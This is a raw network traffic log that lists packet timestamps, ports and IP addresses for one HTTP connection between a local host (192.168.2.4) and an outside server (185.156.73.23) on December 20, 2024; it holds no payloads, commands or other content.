Dec 20, 2024 16:28:20.164089918 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.164707899 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.164721966 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.164805889 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.165498018 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.165543079 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.165920973 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.165981054 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.166331053 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.166371107 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.166425943 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.166464090 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.167181969 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.167197943 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.167228937 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.167258024 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.167973995 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.168021917 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.168055058 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.168091059 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.168781996 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.168831110 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.168958902 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.169001102 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.170001030 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.170052052 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.193213940 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.193233013 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.193272114 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.193284035 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.193300009 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.193325043 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.193404913 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.193455935 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.194067001 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.194081068 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.194195032 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.194844007 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.194890976 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.195210934 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.195255041 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.195693970 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.195736885 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.196125031 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.196167946 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.196496010 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.196537971 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.196635008 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.196672916 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.197377920 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.197475910 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.197990894 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.198034048 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.198152065 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.198193073 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.198448896 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.198491096 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.198973894 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.199019909 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.199203014 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.199240923 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.199799061 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.199862003 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.199898958 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.199934006 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.200611115 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.200660944 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.200689077 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.200726032 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.201471090 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.201513052 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.201541901 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.201579094 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.202271938 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.202310085 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.202538013 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.202575922 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.203094006 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.203130007 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.203181982 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.203217983 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.273426056 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.273461103 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.273509979 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.273529053 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.273760080 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.273772001 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.273806095 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.274532080 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.274581909 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.274646044 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.274678946 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.275373936 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.275422096 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.275469065 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.275511026 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.276177883 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.276221037 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.276278973 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.276319027 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.277020931 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.277069092 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.277199030 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.277235985 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.277848959 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.277893066 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.277946949 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.277985096 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.278688908 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.278734922 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.278780937 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.278815985 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.279499054 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.279536009 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.279715061 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.279747963 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.282754898 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.282798052 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.283659935 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283678055 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283689976 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283701897 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283718109 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.283730984 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283742905 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.283749104 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283759117 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.283767939 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.283787966 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.283807039 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.284583092 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.284631014 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.284763098 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.284801006 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.285484076 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.285516977 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.285968065 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.286015034 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.286137104 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.286173105 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.286323071 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.286384106 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.287149906 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.287199020 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.287307978 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.287353039 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.287991047 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.288027048 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.288186073 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.288218021 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.288522005 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.288556099 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.289057970 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.289093971 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.289554119 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.289598942 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.289864063 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.289910078 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.290505886 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.290541887 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.290826082 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.290859938 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.291152954 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.291187048 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.291340113 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.291373014 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.292018890 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.292054892 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.292198896 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.292234898 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.292860031 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.292901039 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.293040037 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.293075085 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.293685913 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.293749094 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.294337034 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.294410944 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.294644117 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.294656038 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.294680119 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.294698000 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.295308113 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.295346022 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.295466900 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.295509100 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.351912975 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.352018118 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.352065086 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.352097034 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.352185965 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.352199078 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.352215052 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.352233887 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.353075981 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.353128910 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.353270054 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.353308916 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.353844881 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.353888035 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.354151964 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.354183912 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.354605913 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.354654074 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.355093956 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.355132103 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.355380058 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.355418921 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.359100103 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359112978 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359124899 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359136105 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359147072 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359159946 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.359172106 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359183073 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359215975 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359231949 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.359250069 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.359714031 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.359756947 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.360214949 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.360251904 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.360579014 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.360611916 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.361232042 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.361268997 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.361924887 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.361938000 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.361958981 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.361979008 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.362102032 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.362142086 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.362806082 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.362874985 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.386379004 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.386471033 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.386483908 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.386509895 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.386658907 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.386673927 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.386702061 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.386722088 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.387368917 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.387424946 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.387932062 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.388001919 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.388293982 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.388307095 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.388339043 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.388358116 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.388989925 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.389038086 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.389543056 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.389588118 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.389900923 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.389919996 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.389938116 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.389955997 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.390733004 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.390778065 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.390928030 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.390969992 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.391485929 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.391539097 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.391598940 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.391634941 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.391658068 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.391685963 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.391712904 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.391766071 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.392188072 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.392260075 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.392364025 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.392426968 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.392910957 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.392966032 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.393089056 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.393141985 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.393708944 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.393760920 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.393831015 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.393879890 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.394565105 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.394608974 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.394896984 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.394951105 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.395288944 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.395339012 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.466720104 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.466950893 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.467149973 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.467161894 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.467186928 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.467278004 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.467962027 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.467973948 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.468004942 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.468028069 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.468713045 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.468781948 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.468805075 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.468842983 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.469532013 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.469577074 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.469837904 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.469875097 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.470312119 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.470350027 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.470427036 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.470458984 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.471147060 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.471185923 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.471271992 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.471308947 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.471941948 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.472002983 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.472055912 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.472670078 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.472714901 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.472733974 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.472785950 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.473663092 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.473714113 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.473732948 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.473769903 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.474353075 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.474402905 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.474545002 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.474597931 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.475117922 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.475167036 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.475265980 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.475346088 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.475982904 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.476031065 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.476365089 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.476409912 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:20.476759911 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:20.476798058 CET	49730	80	192.168.2.4	185.156.73.23
